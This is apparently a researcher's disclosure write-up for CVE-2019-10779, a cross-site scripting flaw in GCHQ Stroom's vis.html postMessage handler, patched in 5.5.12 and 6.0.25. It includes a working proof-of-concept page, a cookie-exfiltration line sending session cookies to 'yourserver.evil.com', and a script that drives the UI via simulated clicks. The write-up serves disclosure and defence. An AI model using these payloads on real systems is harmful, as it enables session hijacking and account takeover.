February 18, 2020

CVE-2019-10779: Cross-site scripting in GCHQ Stroom

Jonathan Leitschuh

GCHQ Stroom is vulnerable to Cross-Site Scripting due to the ability to load the Stroom dashboard on another site and insufficient protection against window event origins.

Versions

  • Affected versions: < 5.5.12 & < 6.0.25
  • Patched versions: 5.5.12 & 6.0.25

Proof Of Concept

  1. Launch Stroom and assign it a hostname like stroom.my-company.com, then log in.
  2. Register your own domain name like stroom.my-company.com.attacker.com.
  3. Convince a victim to visit stroom.my-company.com.attacker.com. By rendering the following code, you can achieve XSS.
<html>
<head>
  <script>
    frameLoaded = function() {
      window.frames[0].postMessage(
        JSON.stringify({data: {
          frameId: 0,
          callbackId: 0,
          functionName: "alert('XSS!');//",
          params: [],
        }}),
        "*"
      );
    };
  </script>
</head>
<body>
  <iframe src="https://stroom.my-company.com/stroom/vis.html" height="90%" width="90%" onload="frameLoaded(this)"/>
</body>
</html>

Explanation

This is due to insufficient protection against window events from other domains.

 // Stop this script being called from other domains. 
 if (origin.indexOf(host) === -1) 
   return; 

- Source

Because in our case "stroom.my-company.com.attacker.com".indexOf("stroom.my-company.com") == 0, this verification check is bypassed.

This vulnerability is also possible because of a lack of proper X-Frame-Options headers to prevent the vis.html document from being rendered on a different domain.

The X-Frame-Options that Stroom needs to have are X-Frame-Options: sameorigin.

Impact

The impact of XSS in this UI would be disclosure of all sensitive information that Stroom holds. Also, depending on how much control the various Stroom UI components give over the local system, there may be a larger impact from this vector. Since I'm a curious researcher, not a user, I can only speculate.

Original Discovery

I was curious if I could find any popular projects that had major RCE vulnerabilities by manually looking through all of the Javascript: Code Injection query results listed on LGTM.com. I previously discovered an RCE vulnerability in mongo-express using this methodology (CVE-2019-10758) and wanted to dig to see what else I could find.

Unfortunately, since the LGTM site doesn't allow you to sort results by the popularity of the projects, you have to scroll through numerous pages of projects to manually check each project's star/fork counts.

After 30-45 minutes of scrolling through results and reviewing, I found an instance of a vulnerability. I found it in a project owned by GCHQ, an intelligence and security organization responsible for providing signals intelligence and information assurance to the government and armed forces of the United Kingdom.

Scroll towards the end of the post to view the vulnerability that was originally reported by LGTM. Note that I followed up on the investigation purely out of curiosity. Code injection in ui/vis.js

I ran this code snippet by Karan Lyons who created the initial POC that triggered an alert(1). I later expanded the POC to prove that I could abuse the exploit to drive the entire GWT UI for Stroom.

Because Stroom uses Google Web Toolkit (GWT), the client/server communication is heavily obfuscated and it would've been difficult to craft the GWT commands to drive the server. That being said, I found GDSSecurity/GWT-Penetration-Testing-Toolset, a project that provided a toolkit for me to try out. Unfortunately, it didn't end up working for me to attempt to reverse engineer the GWT API.

I came up with a solution to drive the UI, just like a user would, but with simulated click events generated by Javascript.

I opened an issue with the Stroom developers titled 'Open a security advisory' where I requested a private GitHub security advisory. Once I was in the private advisory, I provided them with an earlier version of this exact writeup.

Full Impact POC

Since the session ID cookies used for authentication aren't HttpOnly, an XSS attack allows to exfiltrate the contents of those cookies to an attacker, allowing that attacker to perform full account takeover in their own browser.

List of cookies

For example, the following code snags these cookies and sends them to an attacker-controlled site:

function stealCookies() {
   document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')
}

Additionally, since I have XSS on the site, I have all of the site permissions.

For example, this payload would pull up the system properties from the vis.html document and allow all of them to be exfiltrated. Faking click events is easier than trying to deobfuscate the API exposed by GWT.

To demo what this does, open https://[address]/stroom/vis.html and paste the code below into your Chrome Developer Console.

It demonstrates that XSS on vis.html can open an iframe back to the main /stroom/ui and gives an attacker full control over that UI by allowing them to simulate fake click requests.

theFrame = document.createElement("iframe")
theFrame.src = "/stroom/ui"
theFrame.width = "90%"
theFrame.height = "90%"

function eventFire(el, etype){
  if (el.fireEvent) {
    el.fireEvent('on' + etype);
  } else {
    var evObj = document.createEvent('Events');
    evObj.initEvent(etype, true, false);
    el.dispatchEvent(evObj);
  }
}
function findByText(theText) {
  const xpath = `//div[contains(text(),'${theText}')]`;
  return theFrame.contentDocument.evaluate(xpath, theFrame.contentDocument, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
}

function theFrameLoaded() {
  window.setTimeout(doTheThing, 2000)
}

function doTheThing() {
  const toolsButton = findByText('Tools');
  eventFire(toolsButton, 'click');
  const properties = findByText('Properties');
  eventFire(properties, 'click')
}

theFrame.onload = theFrameLoaded

document.body.appendChild(theFrame)

References

About Jonathan Leitschuh

Jonathan Leitschuh is a software engineer and security researcher currently working for the JVM build tool company Gradle Inc. Jonathan is best known for the July 2019 Zoom Video Conferencing 0-Day Vulnerability. He also championed an industry-wide initiative to formally decomission the support of HTTP in favor of HTTPS only support by major artifact servers in the JVM ecosystem. He has a degree in Robotics and Computer Science from Worcester Polytechnic Institute. He enjoys finding security vulnerabilities in OSS in his free time and is a stickler for 90-day disclosure deadlines on vulnerabilities.